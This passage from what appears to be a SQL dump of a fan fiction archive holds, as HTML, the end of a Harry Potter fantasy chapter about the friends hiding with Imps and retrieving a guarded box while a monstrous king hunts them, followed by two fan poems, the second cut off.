Pansy&#8217;s leg, and Pansy flinches.&nbsp; &#8220;Bathe this one twice,&#8221; she adds imperiously.</p>\n\n<p>The servants tug on Hermione and Pansy, and they reluctantly follow them.&nbsp; Harry and Ron give James a concerned look, but&nbsp; Patrick, Max and Imran are already scouring the hallway as another three or four female Imps come out to greet their new &#8216;guests&#8217;.<br>\n\n\n<br>\n\n\n</p>\n\n<p>~</p>\n\n<p>Dinner is a bizarre occasion.&nbsp; Pansy and Hermione both submit to their baths, and have allowed themselves to be dressed in long garments that were quickly sewn together to fit them, both women being nearly twice the size of the female Imps.&nbsp; The plates on the table are square, and there is a large stone in the center that turns towards whomever is speaking.&nbsp; A female Imp is screeching, although Harry suspects she is singing, and Pansy rudely grimaces at every note.</p>\n\n<p>Madam sits at the head of the table and flirts shamelessly with James, who, much to his credit, is polite, despite an undercurrent of repulsion Harry senses from him.&nbsp; Max and Patrick have long since disappeared, and Imran sits in the corner negotiating with a female Imp who is wearing a pretty dressing gown and some ornate jewelry around her neck.</p>\n\n<p>&#8220;Your friends would do better to let themselves be killed.&nbsp; The King will not stop seeking them until they are found,&#8221; she says, biting into a crispy piece of flesh.&nbsp; Ron&#8217;s face begins to turn green as he watches the old Imp suck down the meat.&nbsp; &#8220;But I will do you this favor, James and allow them refuge &#8230;for a fee, of course.&#8221;</p>\n\n<p>Imran interrupts the conversation with a fit of nervous giggles, the female Imp of his choice cooing on his lap and tickling his sides.&nbsp; The Madam does not seem perturbed by this, but instead, grins wider.</p>\n\n<p>&#8220;We&#8217;ll do as you ask, Madam,&#8221; Harry says, looking down at his own plate.&nbsp; His hunger is greater than his reluctance to eat the unknown.</p>\n\n<p>&#8220;For certain, you will.&#8221;</p>\n\n<p>Ron downs his drink, some sort of juice, in one gulp.&nbsp; </p>\n\n<p>They all jump as a knife suddenly appears in the Madam&#8217;s left hand.&nbsp; She turns around and tosses it towards a rat who is sulking in the shadows of the corner.&nbsp; There is a brief swish in the air, the cackle of triumph from one of the other Imps, and the rodent falls, writhing.&nbsp; Madam smiles, her small teeth gleaming in the firelight.</p>\n\n<p>&#8220;It looks like we will also be serving breakfast.&#8221;</p>\n\n<p>Ron looks away, groaning.</p>\n\n<p>&#8220;That is hospitable of you, Madam, &#8220; James says.</p>\n\n<p>&#8220;Do not be fooled, my solicitous friend.&#8221;</p>\n\n<p>Harry looks to James, and then to Hermione and Pansy.</p>\n\n<p>&#8220;What are your demands in exchange for temporary shelter?&#8221;</p>\n\n<p>The Madam orders one of her female Imps to gather up the carcass of the rat. Then she turns to Harry, her eyes two narrow slits.</p>\n\n<p>&#8220;You will retrieve something for me in the morning.&nbsp; It is something many have failed to do.&nbsp;The box contains something belonged to my father, and it\'s very precious to me.&nbsp; You &#8216;ll likely die trying, but it will be better than dying at the hands of the King.&#8221;</p>\n\n<p>&#8220;With all due respect, Madam, I&#8217;d prefer not to die at all.&nbsp; In the morning, I&#8217;ll go looking for what it is you seek.&#8221;</p>\n\n<p>&#8220;<i>We&#8217;ll</i> go looking, &#8220;Ron says.&nbsp; Hermione nods.</p>\n\n<p>&#8220;Oh for God&#8217;s sake, can&#8217;t we just give you some money?&nbsp; Must everything lead to another damn quest?&#8221; Pansy moans.</p>\n\n<p>~</p>\n\n<p>It&#8217;s as if time remains the same, replaying the same long, desperate hour.&nbsp; Edred can&#8217;t sleep.&nbsp;&nbsp; He sits instead, gravely listening, assailed by gusts of wind, and still stunned with disbelief.&nbsp; He thinks he smells her on the wind, but he is disappointed to only come across a garment of hers, long since discarded.&nbsp; The flames in his throat are now burning him from the inside.&nbsp; This is a natural condition, one that he has learned to live with.&nbsp; He knows he must retake his other form, this one leaving him unable to rest for very long.</p>\n\n<p>The change comes quickly, his body relieved to be ridding itself of the fire.&nbsp; Edred cannot seem to bring himself to return home just yet.&nbsp; He will sleep under the sky.&nbsp; He knows it is a risk, but returning to his home now would signal momentary defeat and his pride will not allow him even that.</p>\n\n<p>He lifts his horn to his mouth and blows a long, low sound from it, signaling those loyal to him with this. He waits.&nbsp; He listens.</p>\n\n<p>He hears them murmur, and a messenger finds him in a matter of minutes.</p>\n\n<p>&#8220;The reward, &#8220;he says, &#8220;to anyone who finds my Queen and her companions will be more wealth than they can imagine.&#8221;</p>\n\n<p>The messenger nods, and hurries into the night.&nbsp; Enthusiastic voices extol the declaration all around him, as he sits and tries not to think of her.&nbsp; There is an unfamiliar ache in his chest, and his legs feel heavy.&nbsp; He tries to remember her face, the way her eyes grow wide and dark when she is afraid.</p>\n\n<p>He watches the brush in front of him, waiting for the shadows to move, the shadows to shift from darkness into light and point him toward where she is hiding.&nbsp; But they don&#8217;t.&nbsp; He realizes then that he has let himself feel for this creature.&nbsp; He must not think of her this way.</p>\n\n<p>She will be nothing more than a meal.</p>\n\n<p>~</p>\n\n<p>It is the lack of movement, the way things are too quiet that keeps Harry awake.&nbsp; Hermione is on his left, her steady breathing assuring him that she is asleep.&nbsp; He thinks about waking her, but decides she needs the rest.&nbsp; Ron is in the corner, and Pansy is against the wall, having found a comfortable spot near the fire.&nbsp;&nbsp; Even Pansy looks innocent in that light.</p>\n\n<p>He takes a stomach tightening breath, and looks into the cracked mirror hanging against the door.&nbsp; The person who looks back at him seems so in control and unafraid.</p>\n\n<p>Harry wonders why it is that mirrors always fail to reflect the truth.</p>\n\n<p>&#8220;Harry?&#8221; Ron whispers, &#8220;if anything, you should at least try to sleep.&#8221;</p>\n\n<p>He turns towards his friend.&nbsp; &#8220;I&#8217;m just thinking about tomorrow.&nbsp; I&#8217;m not sure I trust the Madam&#8217;s word.&#8221;</p>\n\n<p>&#8220;Neither do I, but it isn&#8217;t like we have many options.&nbsp; Besides, we&#8217;re still alive now. &nbsp;That&#8217;s something at least.&#8221;</p>\n\n<p>&#8220;I have a feeling that the hardest part isn&#8217;t over yet.&nbsp; We don&#8217;t even know what we&#8217;re looking for.&#8221;</p>\n\n<p>Muted laughter comes from the room beside them.&nbsp; &#8220;At least the Imps are having a good time, &#8220;Ron mumbles.</p>\n\n<p>Another laugh.&nbsp; It&#8217;s Max.&nbsp; Harry thinks he hears Pansy mumble something, but when he looks over, her eyes are still closed tightly.&nbsp; He is surprised to see Hermione&#8217;s eyes are now open, and staring up at him.</p>\n\n<p>&#8220;I&#8217;m sorry, Hermione, &#8220; Ron says, &#8220;we didn&#8217;t mean to wake you.&#8221;</p>\n\n<p>Hermione sighs, and sits up.&nbsp;&nbsp; There is a few nervous shuffles coming from the other room, but it soon dissolves into nothing.&nbsp; For a while they talk, their conversation almost too casual.&nbsp; Hermione doesn&#8217;t seem to mind that she can&#8217;t join in, and she smiles when Ron tells her of how they ended up with Pansy.&nbsp; Soon, their chatter grows quiet, their words further and further apart.&nbsp;&nbsp; Ron is the first to give into sleep again, and then Hermione lies back down.</p>\n\n<p><i>- She wants to know why you won&#8217;t rest- </i>says the book..</p>\n\n<p>&#8216;&#8216;I&#8217;m not tired&#8221;<i>, </i>Harry says out loud.</p>\n\n<p><i>- You&#8217;re lying-</i></p>\n\n<p>&#8220;Yes, I&#8217;m lying,&#8221;<i>\n\n</i>Harry answers.&nbsp; &#8220;I&#8217;m afraid I&#8217;m not much of a hero.&nbsp; I help save you only to lead you somewhere you might end up dying anyway.&#8221;</p>\n\n<p><i>- You&#8217;re her friend-</i> the book explains <i>&#8211; She says that you\'re not her knight in shining armor, and that you&#8217;ll help each other-</i></p>\n\n<p>&#8220;Well, that&#8217;s true enough,&#8221; Harry whispers.&nbsp; Hermione smiles, touches his hand.&nbsp; Harry instinctively looks over at Ron, who is fast asleep.</p>\n\n<p><i>- It&#8217;s too quiet-</i> the book says.</p>\n\n<p>&#8220;It may be the last quiet night we have for a while, but it does make me nervous.&#8221;</p>\n\n<p>Harry decides to let his body rest, even if his mind can&#8217;t.&nbsp; Hermione lays down beside him, closer than she was before.&nbsp; Her breathing is broken up like his own.&nbsp; He is surprised by the warmth of her hand when she intertwines it with his.&nbsp; He can understand her, even without words.&nbsp; Slowly and gently, he pulls her into his arms and she rests her head on his chest.</p>\n\n<p>&#8216;Tell him not to worry,&#8217; Hermione thinks.</p>\n\n<p>The book relays the message, and Harry lets his hand tangle in her hair.</p>\n\n<p>&#8220;We&#8217;ll make it out of this place, especially now that we have you,&#8221; Harry replies with a bravado he does not feel.&nbsp; He is surprised when she rolls over, letting his body have all of her weight, her chest against his.&nbsp; Her face is near his face, then his lips against hers.</p>\n\n<p>It feels like a dream.&nbsp; His whole body sweetly aches, as they kiss again. When she lifts her head up for a moment, he can make out the hesitant expression on her face.&nbsp; She touches his face, traces the outline of his mouth.&nbsp; Indecision, want&#8230;need.</p>\n\n<p>Deciding for them both, he pulls her to him again.&nbsp; He does not want it to end, and for a few moments more, it doesn&#8217;t.&nbsp; They kiss until his mouth burns, and every nerve in his body is alive.&nbsp; When she finally pulls away with a gasp of air, he regrets the loss of sensation.&nbsp; She settles back against his chest, and he can feel her breathing against him.&nbsp; After a few minutes, his arm grows numb from lying so still, but he does not mind much.</p>\n\n<p>~</p>\n\n<p>Edred awakens from his slumber quickly, as if someone has set off a firing pistol inside of his head.&nbsp; His eye-blink brief night is enough to restore his energy.</p>\n\n<p>He buckles his belt around his waist and dismisses the servants who have gathered at his side.&nbsp; He detests their weakness, but is grateful for their loyalty.</p>\n\n<p>Over the hill, he can see birds soaring high in the air, peering down into the thicket in hopes of capturing the prize.&nbsp; A squinty eyed Goblin with sparse lips is screaming at her spouse to hurry and follow them, so that he too can be rewarded.</p>\n\n<p>There is that unbearably rich, fertile smell of humans hanging in the air like a taunt.</p>\n\n<p>His hairs stand on end when he hears someone laughing.&nbsp; Trolls, laughing; low voices and higher ones.&nbsp; &#8220;Invincible, Ha!&nbsp; Humans escaped him!&#8221;&nbsp; &#8220;I wonder what he&#8217;ll do if he doesn&#8217;t find them.&#8221;</p>\n\n<p>There is doubt.&nbsp; Doubt about his power, his reign.&nbsp; He will resolve it.</p>\n\n<p>He races through the wood towards the voices.&nbsp; They are startled, and fall to the ground before him.&nbsp; The one that speaks first is the voice he had heard from afar.&nbsp; The one who had laughed at him.</p>\n\n<p>He reaches for it by the throat, and lifts the creature into the air.</p>\n\n<p>&#8220;I am your King, and you mock me?!&#8221;</p>\n\n<p>The creature begs, pleads.&nbsp; He considers letting it go, but his claws are already sinking into its skin. The force of it sprays the ground with red droplets; a murderer&#8217;s morning dew.</p>\n\n<p>Edred tastes it.&nbsp; He cannot help himself.&nbsp; As he steps away from the scene, he watches them fall upon the body like a swarm of ants.</p>\n\n<p>~</p>\n\n<p>Madam touches the muddy wall in the back of the cave.&nbsp; They step back when it cracks, and opens up into a dank tunnel.&nbsp; They look down the long hole, guided by the light leaking in from above ground.&nbsp; There is a reptile sitting daintily on top of what looks like a small trunk.</p>\n\n<p>Pansy laughs.&nbsp; &#8220;That&#8217;s it?&nbsp; That&#8217;s what you&#8217;re afraid of? It looks like a baby alligator.&nbsp; I could turn that into a nice handbag.&#8221;</p>\n\n<p>The Madam ignores Pansy&#8217;s remark, and orders one of the female Imps to fetch something from the kitchen.&nbsp; The Imp returns with a small bird, and hands it to the Madam.</p>\n\n<p>&#8220;What you see is a Gharadian.&nbsp; The cursed creature can not go beyond the borders of the first tunnel it digs shortly after birth.&#8221;</p>\n\n<p>Madam tosses the bird into the tunnel, and the creature stands on its hind legs, suddenly at attention.&nbsp; There is a sound, a piercing squeal, as the reptile&#8217;s body twists and writhes through the tunnel, so fast that to their eyes he is nothing but a blur.&nbsp; There is a whir of feathers, another scream, and the unmistakable crunch of bones.</p>\n\n<p>&#8220;Things aren&#8217;t always as they seem,&#8221; Madam says, glaring at Pansy.&nbsp; &#8220;You&#8217;d be foolish to underestimate its power.&#8221;</p>\n\n<p>Harry breathes deeply.&nbsp; &#8220;So we&#8217;re going to have to kill this thing?&#8221;</p>\n\n<p>&#8220;Your goal is to retrieve the box.&nbsp; Gharadian&#8217;s are immortal. &#8220;</p>\n\n<p>&#8220;Is there money inside?&#8221; Imran says.&nbsp; Patrick kicks him, and Imran draws his sword.</p>\n\n<p>&#8220;No, there is something far more valuable.&nbsp; I dismissed someone from my dwelling, and was stupid to spare her life.&nbsp; She took vengeance upon me by throwing my possession to the Gharadian.&nbsp; She wasn&#8217;t aware that she would follow it only hours later.&nbsp; A Gharadian never leaves its dwelling, so they have quite the appetite.&nbsp; They survive only on unfortunate beings who wander inside.&#8221;</p>\n\n<p>&#8220;Or out of work whores who are <i>tossed</i> inside,&#8220; Pansy snipes.</p>\n\n<p>Madam shrivels up her nose again.</p>\n\n<p>&#8220;So, do we have a plan yet, Harry?&#8221; Ron says.</p>\n\n<p>&#8220;Only one of you will be able to enter at a time.&nbsp; I will close the tunnel as soon as someone sets foot inside, and they will not be able to exit unless they have my possession. I would choose quickly, the creature doesn&#8217;t stay satiated very long.&#8221;</p>\n\n<p>&#8220;Just one of us?&nbsp; Why only one?&#8220; Ron says.</p>\n\n<p>&#8220;It wouldn&#8217;t be very sporting otherwise, now would it?&#8221; Madam laughs. &#8220;When one of you gets eaten, another will make the attempt.&#8221;</p>\n\n<p>&#8220;Thanks for the vote of confidence,&#8221; Ron says angrily.</p>\n\n<p>Harry balls his fists at his side.&nbsp; &#8220;I&#8217;ll go&#8221; he declares, just as Hermione steps inside of the tunnel.&nbsp; Madam closes the cave behind her, before Harry can object.</p>\n\n<p><br>\n ~ </p>\n\n<p>&#8216;Can you hear me?&#8217; Hermione thinks.&nbsp; She read about these creatures once. She only hopes what she has will be enough to distract it.</p>\n\n<p><i>- Run, run away now-&nbsp; something</i> inside the cave says.</p>\n\n<p>&#8216;I cannot run.&nbsp; I have to get the box&#8217;, she replies.</p>\n\n<p><i>- I&#8217;m useless to you &#8211;</i> the box replies.</p>\n\n<p>The lizard-like creature eyes her curiously.&nbsp; He won&#8217;t attack her until he is hungry again, but he will fight in defense.&nbsp; If she goes after the box now, he will rip her to shreds.</p>\n\n<p>&#8216;I don&#8217;t wish to use you. I wish to return you to your rightful owner,&#8217; she says.</p>\n\n<p>The small Gharadian&#8217;s ears twitch.&nbsp; Then he sneezes once, twice.&nbsp; She can hear the faint sounds of Harry and the others calling to her from outside of the cave.&nbsp; The Gharadian makes a rumbling sound deep in his throat, and the end of his tail flicks.&nbsp;&nbsp; Hermione steps carefully to the other side of the cave, and sits, never taking her eyes from it.&nbsp; She is trembling, but confidant.&nbsp; The creature doesn&#8217;t move.&nbsp; Feathers are still sticking out from its mouth, and its head only makes small, jerking movements, swallowing them down.</p>\n\n<p>Hermione reaches for the shiny clamp on her robe, holding it up towards the trickle of light coming from the crack above.&nbsp; The Gharadian&#8217;s eyes widen.&nbsp; His tail lashes against the wall, bringing down a spray of small pebbles and dirt.&nbsp; He is powerful, for his size.&nbsp; With an air of petulance, he shakes the dust from his scales and moves towards it.&nbsp; Hermione tosses the object towards him, hitting him between the eyes.&nbsp; He snarls at her, enraged, but keeps his eyes on the shiny metal, deciding whether he will go after it before ripping her apart.&nbsp; He grabs the clamp, holding it between his teeth, and then emitting an all too familiar sound.</p>\n\n<p><i>Laughter.</i><i>\n\n</i>Glee at this oddity he now possesses, this rare &#8216;jewel&#8217; he has been given.</p>\n\n<p>Hermione takes a cautious step towards the box.&nbsp; Her feet, well rehearsed in stealth after living with the King, make no sound on the floor.</p>\n\n<p>\n\n<i>-Quickly then- </i>the box says <i>&#8211; you are clever, now be quick &#8211;</i></p>\n\n<p>&#8216;Now,&#8217; Hermione thinks, and lifts the box in her arms, racing towards the mouth of the cave.&nbsp; She knows it will open when she touches it, but whether it will open fast enough is the real question.</p>\n\n<p>She sprints as fast as she can towards the entrance, and the Gharadian, momentarily stunned by this daring move, hesitates a few seconds before dropping the clamp and racing after her.&nbsp; She pushes against the cave wall, and several small boulders dislodge behind her, slowing down her predator.&nbsp; The Gharadian throws his head back and screams with fury.</p>\n\n<p>Hermione opens her mouth in a silent scream as the razor-sharp edges of his claws sink into her leg, but she reaches for the entrance anyway, and touches the wall.&nbsp; The Gharadian snaps at her feet, as another boulder comes crashing toward them.&nbsp; Hermione can feel the blood dripping from her leg, but she takes scant notice of the pain as the cave begins to open.</p>\n\n<p>Writhing, the Gharadian pulls her to the ground, but she grips the box between her arms and throws herself towards the opening.&nbsp; Managing to get one hand through, Madam takes the box from her and squeals with delight as Harry and Ron pull her towards them.&nbsp; The Gharadian screams, holds her firmly as he rips into her thigh, shaking her in his mouth, refuses to let go.</p>\n\n<p>Hermione sinks her fingernails into his nostrils, and holds on firmly.&nbsp; It releases her, crashing backwards against the wall, as Harry and Ron pull her completely through.&nbsp; The walls tremble, and Hermione looks up at Harry.&nbsp; She feels wet, soaked with something sticky.</p>\n\n<p>&#8220;Oh God, Hermione,&#8221; Harry says.</p>\n\n<p>Then everything is black.</p>\n\n<p>~</p>\n\n<p>The smell, as always, astounds him.&nbsp; A stew of stale breath and sweaty armpits mixed with the excrement of whatever creature they had managed to slay.&nbsp; He hates moving among the trolls, but their size is useful to him.&nbsp; They are also not very smart, and he needs creatures he can easily control.&nbsp; The ever greedy, ever stupid, always willing trolls.</p>\n\n<p>Edred cannot get her face out of his mind.&nbsp; Two nights have almost gone and still, he cannot find her.&nbsp; Most of his victims were quick, easy, and forgettable.&nbsp; He doesn&#8217;t fool himself into thinking that she will be any of those things.</p>\n\n<p>He knows that she must have found an unplottable spot, somewhere protected even from his eyes.&nbsp; Such places exist, he knows that, but surely she would not know where they were. &nbsp;&nbsp;She and her rescuers had to have help.</p>\n\n<p>A troll, a particularly vulgar one called Nairam,&nbsp; returns with a&nbsp; wiggling sack and places it before Edred&#8217;s feet.&nbsp; It smells faintly human, and for a minute, Edred is hopeful.&nbsp; When he opens the sack, he sees it is only a wolf girl.</p>\n\n<p>&#8220;Hu-man&#8221; the troll mutters, holding out its hand for some sort of payment.&nbsp; Edred reaches in his pocket, pulls out his knife and chops the limb clean off.</p>\n\n<p>&#8220;That is not a human, idiot.&nbsp; It&#8217;s only werewolf,&#8221; he says angrily.</p>\n\n<p>But a familiar scent comes to him.&nbsp; He can smell the humans on this she-wolf.</p>\n\n<p>&#8220;What is your name?&#8221; he demands, gripping her by the shoulders.</p>\n\n<p>&#8220;Naya, &#8220;she says.</p>\n\n<p>~</p>\n\n<p>One of the female Imps opens the door, and a hot rush of cooking wafts out.&nbsp; She is squinting permanently at Hermione, and the wrinkles on her face worsen when she tries to smile sympathetically.&nbsp; Hermione feels disoriented, and no longer wonders why when she looks down at her legs that are now covered in bandages.</p>\n\n<p>&#8220;Hey, &#8220;Ron whispers to Harry, &#8220;she&#8217;s awake.&#8221;.</p>\n\n<p>&#8220;You&#8217;ve been out for a couple of hours,&#8221; Harry says.</p>\n\n<p>She looks around, trying to focus. Harry is on her left, and Pansy is lounging in the corner, picking off of a tray someone must have sent in earlier.</p>\n\n<p>&#8220;You&#8217;re not as smart as I thought you were.&nbsp; Lucky, but not smart, &#8220;Pansy says, although the girls tone is less venomous then usual.</p>\n\n<p>\n\n<i>-I was so worried, so worried! - </i>the book says.&nbsp; Hermione tries to sit up, and Harry helps her.</p>\n\n<p>&#8220;Hermione, do you think you can walk?&#8221; Harry asks.&nbsp; His face is anxious.&nbsp; &#8220;I don&#8217;t think we should stay much longer.&#8221;</p>\n\n<p>&#8220;I agree,&#8221; James says.&nbsp; Max and Patrick shrug, and Imran nods in agreement.&nbsp; &#8220;Madam will want to use her new possession.&nbsp; I don&#8217;t think any of us will want to be around when she does.&#8221;</p>\n\n<p>Hermione looks around.&nbsp; She had never asked the box what it contained.</p>\n\n<p>&#8220;Something&#8217;s going on.&nbsp; I can feel it.&nbsp; Madam has been quiet and all of her servants are waiting on us hand and foot, &#8220;Harry whispers.</p>\n\n<p>&#8216;How long have I been out?&#8217; Hermione thinks.</p>\n\n<p><i>-Only for an hour or so &#8211; </i>the bed answers-</p>\n\n<p>Pansy moves across the room, pulls the covers off of Hermione&#8217;s legs.</p>\n\n<p>&#8220;I did a healing spell for you, but it will take a while.&nbsp; Potter didn&#8217;t think you&#8217;d want him to look under your robe,&#8221; she laughs.&nbsp; Then she leans and whispers in Hermione&#8217;s ears &#8220;But I know better, Granger.&#8221;</p>\n\n<p>Hermione&#8217;s face gets overly warm.&nbsp; Ron snorts.&nbsp; &#8220;As opposed to having <i>you</i> look under her robe?&#8221;</p>\n\n<p>Pansy tosses her hair back.&nbsp; &#8220;I was forced to bathe with her, so I&#8217;ve seen everything she has already.&#8221;</p>\n\n<p>Ron and the Imps seem to come to attention. Harry turns away so Hermione can&#8217;t see the expression on his face.</p>\n\n<p>&#8220;You bathed <i>with</i> her?&#8221; Max says.&nbsp; &#8220;That&#8217;s like some sort of dream-&#8220;</p>\n\n<p>Hermione is redder then she has ever been in her life.&nbsp; Pansy makes a look of disgust.</p>\n\n<p>&#8220;Well, you didn&#8217;t think they&#8217;d draw us separate bathes, the morons. It was just awful. We had to bathe together in this itty bitty tub made for creatures half of our size-&quot;</p>\n\n<p>Hermione gives Pansy an angry look.&nbsp; Pansy shrugs.&nbsp; &#8220;What?&nbsp; Well, it&#8217;s true.&#8221;</p>\n\n<p>Max and Patrick race to Pansy&#8217;s side.&nbsp; &#8220;Please, go on.&#8221;</p>\n\n<p>Imran falls to his knees.&nbsp; &#8220;Anything.&nbsp; We will do anything if you&#8217;d continue!&#8221;</p>\n\n<p>&#8220;Yes, this sounds very interesting- &#8220; James says, smiling at the end of the bed.</p>\n\n<p>Hermione glares at Harry, and then at Ron, who are both suspiciously quiet.</p>\n\n<p>Well, it is sort of interesting &#8211; &#8220; Ron says finally, turning crimson himself.</p>\n\n<p>Hermione smacks Ron in the back of his head.</p>\n\n<p>Harry laughs.&nbsp; &#8220;Glad to see you\'re feeling a bit better.&#8221;</p>\n\n<p>A female Imp comes into the room with a basket.&nbsp; Some food, some rags and a few other items Hermione can&#8217;t make out.</p>\n\n<p>&#8220;The Madam is pleased.&#8221;</p>\n\n<p>Pansy watches the Imp exit the room.&nbsp; &#8220;I say we go tonight if we can.&nbsp; I don&#8217;t trust this Madam.&nbsp; She&#8217;s been hiding out in one of the back rooms ever since you pulled Hermione out.&#8221;</p>\n\n<p>Ron looks over at Harry.&nbsp; &#8220;I never thought I&#8217;d say this, but I agree with Pansy.&#8221;</p>\n\n<p>~</p>\n\n<p>The cold night air doesn&#8217;t penetrate the cave at all.&nbsp; Even the shrieking of the wind outside is inaudible to the Madam.&nbsp; The only sound is from deep within her dwelling.&nbsp; It is a distant whisper, an angry whisper.</p>\n\n<p>The orange glow from the end of the tunnel grows brighter.&nbsp; There is a vaguely sulphurous odor, and she inhales it eagerly.</p>\n\n<p>&#8220;At long last, &#8220; she says, holding the glowing ball between her fingers.</p>\n\n<p>To be continued&#8230;.</p>\n\n<p>~</p>\n\n<p>Get Updates and Cookies:</p>\n\n<p><u><a href="http://groups.yahoo.com/group/msscribefandom">http://groups.yahoo.com/group/msscribefandom</a></u> .</p>\n\n<p>My Livejournal:</p>\n\n<p><a href="http://www.livejournal.com/users/msscribe">http://www.livejournal.com/users/msscribe</a></p> '),
	(222, 1, '\n\n<p>Sorrows </p>\n<p>&nbsp;</p>\n<p>A watered drop glides silently down the glass case </p>\n<p>that separates my soul from the world I am thrusted. </p>\n<p>Trapped with a heavied heart, </p>\n<p>I watch the tiny tears fall from the silvered sky. </p>\n<p>Like it somehow knows the sorrows I keep hidden, </p>\n<p>crying for me... </p>\n<p>Bearing my burdens. </p>\n<p>As I have not the strength to shoulder them myself. </p>\n<p>I haven&#8217;t the courage to weep alone, </p>\n<p>to let my nightmares mix with my tears. </p>\n<p>Because without her, I am like a souless sheath forever lost. </p>\n<p>For the sorrows I keep </p>\n<p>are shallowly buried beneath the mark etched into my skin </p>\n<p>from a past I am eagerly dreading to know... </p>\n<p>The past I fleetingly recall; </p>\n<p>and all I know is that a maternal protection </p>\n<p>saved me from the hungry hand of Death\'s desire. </p>\n<p>Only to have me wanting its dreaded sleep, </p>\n<p>to escape the miserable trap in which I am now caged. </p>\n<p>My universe is bursting with these terrible thoughts. </p>\n<p>And a night, a night of infinite blackness surrounds my depths... </p>\n<p>edging ever slowly forward to my madness. </p>\n<p>Yes, I can see the night pressing apon me...it\'s weight crushing ... it is waiting; </p>\n<p>hungry to engulf me into its belly. </p>\n<p>I turn my eyes away from the silent tears, </p>\n<p>and all I want to do now is to scream... </p>\n<p>To scream a shattering breath that will break the glass that bounders me.</p>\n<p>For I want to tell this magical earth on which my tragic feet tread on to bury within it the pain I feel... </p>\n<p>to vanquish the sorrows I keep... </p>\n<p>to let them disappear like a simple spell I have conquered. </p>\n<p>But it will never be. </p>\n<p>It will never be so... </p>\n<p>I am a tragic hero, </p>\n<p>destined for a haunted heart. </p>\n<p>And perhaps it is for the greater good...</p>\n<p>but I do not yet know. </p>\n<p>As those I dearly trust guard me fiercely with their eyes. </p>\n<p>Protect me from the answers I yearn for - </p>\n<p>the truth in the hearts of a chosen few </p>\n<p>like my sorrows remain in my heart. </p>\n<p>I feel as though all the struggles in my past and of my present </p>\n<p>is of my own doing. </p>\n<p>The torture is unbearable brought on by dark memories. </p>\n<p>I am trapped in a cycle of nightmares that never cease ... </p>\n<p>and the tide of fear is rising, in me and in many. </p>\n<p>And soon death will once again be victorious. </p>\n<p>Already, few have been taken... like the blood of my rival, </p>\n<p>innocently stained on my hands. </p>\n<p>for it should have been me alone to face my demons... </p>\n<p>but who was I to know the future. </p>\n<p>It still haunts me, </p>\n<p>in consciousness and in dreamy boundaries.</p>\n<p>I am only a child so deprived, </p>\n<p>wondering when his next step will be his last. </p>\n<p>When will it ever end? </p>\n<p>When will it? </p>\n<p>Until that needed light warms me... </p>\n<p>the darkness creeps forward. </p>\n<p>As my eyes wonder maddeningly over every inch of the silvered sky. </p>\n<p>I realise I need a person, </p>\n<p>a soul to tell me all will be right, </p>\n<p>For a girl with hair like that of a ferrelled child </p>\n<p>to rest her head against mine and whisper three tiny words.</p>\n<p> I...love... you. </p>\n<p>And only then will one little sorrow, </p>\n<p>deep in my heart disappear into the troubled air around me... </p>\n<p>like sorcery. </p>\n<p>&nbsp;</p>\n<p>Maria L (evilraven, TeaWithVoldy) </p>\n\n<p>&nbsp;</p>\n\n'),
	(223, 1, '\n\n<p>Sweet eyes </p>\n<p>&nbsp;</p>\n<p>Oh sweet eyes, </p>\n<p>sights of your dreams </p>\n<p>are full of despair hidden deep within its black tunnels. </p>\n<p>Yet they shine like crystal orbs with the light of those you touch, </p>\n<p>and warm you with hope long forgotten. </p>\n<p>&nbsp;</p>\n<p>Oh sweet lonely eyes, </p>\n<p>you turn away from people\'s heartless pities. </p>\n<p>Hungry for love that is true... for affection you struggle </p>\n<p>with all your strength to remember. </p>\n<p>And when nightmares reign, and darkness spreads and parental yearnings would never cease.</p>\n<p>You look beyond where stars lie and wish for a moments peace. </p>\n<p>&nbsp;</p>\n<p>Oh sweet lovely eyes, </p>\n<p>the mirrors of your tortured soul, </p>\n<p>don a colour that many, like I lust. </p>\n<p>For a drop of its pure essence would make magic spark. </p>\n<p>&nbsp;</p>\n<p>Oh sweet seductive eyes.</p>\n<p>No need for a charm cast by a wooden stick, </p>\n<p>your eyes always seem to do the trick.</p>\n<p>Its natural elegance speaks your innocence which those near passionately protect. </p>\n<p>&nbsp;</p>\n<p>Oh sweet eyes, </p>\n<p>flawed beyond what others see. </p>\n<p>Beauty is only skin deep. </p>\n<p>Glass windows case them. </p>\n<p>More precious than a coloured canvas. </p>\n<p>For they were a gift from mother&#8217;s blood. </p>\n<p>The only emblem of maternal love you can remember her by. </p>\n<p>Other than her protective touch she provided, that dark night, where spirits cry. </p>\n<p>&nbsp;</p>\n<p>Oh sweet, turbulent eyes, </p>\n<p>growing wise. </p>\n<p>They closet your hidden talents, </p>\n<p>but they are the visions of a life some wish to demise for their own ambitious powers. </p>\n<p>&nbsp;</p>\n<p>Oh sweet, wounded eyes. </p>\n<p>I know you are becoming stronger as the years pass by, </p>\n<p>facing every challenge that clout your way.</p>\n<p>To some they seem like glorious adventures, </p>\n<p>but to your eyes they are none other than tormenting nightmares </p>\n<p>which repeat in vicious cycles. </p>\n<p>&nbsp;</p>\n<p>Oh sweet, famous green eyes. </p>\n<p>Colour of envy some close to you suffer. </p>\n<p>Oh how you wish to express truth to a brother&#8217;s ignorance, </p>\n<p>that the happy moments that appeared in your life happened before death striked twice. </p>\n<p>And all you are most fearful of, other then eternal sleep. </p>\n<p>Is the lose of a friendship you long to forever keep. </p>\n<p>&nbsp;</p>\n<p>Oh sweet, downtrodden eyes</p>\n<p>your Humanity can be felt by a moments touch. </p>\n<p>The warmth of  you suffered heart </p>\n<p>trickles tears in my soul.</p>\n<p>But your green circles of  eternal light harbour Anger</p>\n<p>at peoples blind chatter.</p>\n<p>I feared those times when truth could not break persecution against you.</p>\n<p>I thought you would slip away from my embrace,</p>\n<p>forever torn by your innocent mistakes,</p>\n<p>and always hoping that man would understand you. </p>\n<p>Yet, to no avail they did not.</p>\n<p>Nevertheless... I do ... I comprehend the beauty that is you..   </p>\n<p>&nbsp;</p>\n<p>Sweet, sparkling orbs, </p>\n<p>bright stars to my soul. </p>\n<p>Open your lids, don&#8217;t let blindness from the years of heartache</p>\n<p>steal you away from me. </p>\n<p>&nbsp;</p>\n<p>Oh sweet, heartbreaking eyes, </p>\n<p>I, Hermione Granger, imply. </p>\n<p>Just let yourself open up to me. </p>\n<p>And, only then will our souls forever intertwine, </p>\n<p>because with me... your peace will be found. </p>\n<p>&nbsp;</p>\n<p>Oh sweet, sweet courageous eyes. </p>\n<p>My prince,</p>\n<p>my knight, </p>\n<p>my hero in gold and red. </p>\n<p>Know this and now, if only you open your eyes to me, </p>\n<p>you will see... I am your true love, eternally.</p>\n<p>&nbsp;</p>\n<p>Maria L (evilraven, 